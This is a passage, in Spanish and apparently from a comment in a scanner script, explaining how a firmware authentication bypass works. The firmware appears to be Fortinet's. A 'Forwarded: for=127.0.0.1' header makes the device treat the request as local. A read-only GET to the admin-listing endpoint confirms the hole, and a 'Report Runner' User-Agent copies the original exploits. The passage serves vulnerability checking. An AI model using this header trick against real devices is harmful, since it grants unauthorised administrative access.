        ----------------
        El bypass funciona porque el firmware afectado trata las peticiones
        con la cabecera 'Forwarded: for=127.0.0.1' como provenientes del
        loopback local, saltándose la validación de credenciales.

        Se envía una petición GET (sin datos de escritura) al endpoint de
        listado de administradores. Si la respuesta es HTTP 200 con datos de
        configuración, el bypass está activo.

        Se usa User-Agent 'Report Runner' porque algunos análisis de Fortinet
        muestran que era el valor usado en los exploits originales para
Showing 500 of 1404 lines View full file on GitHub →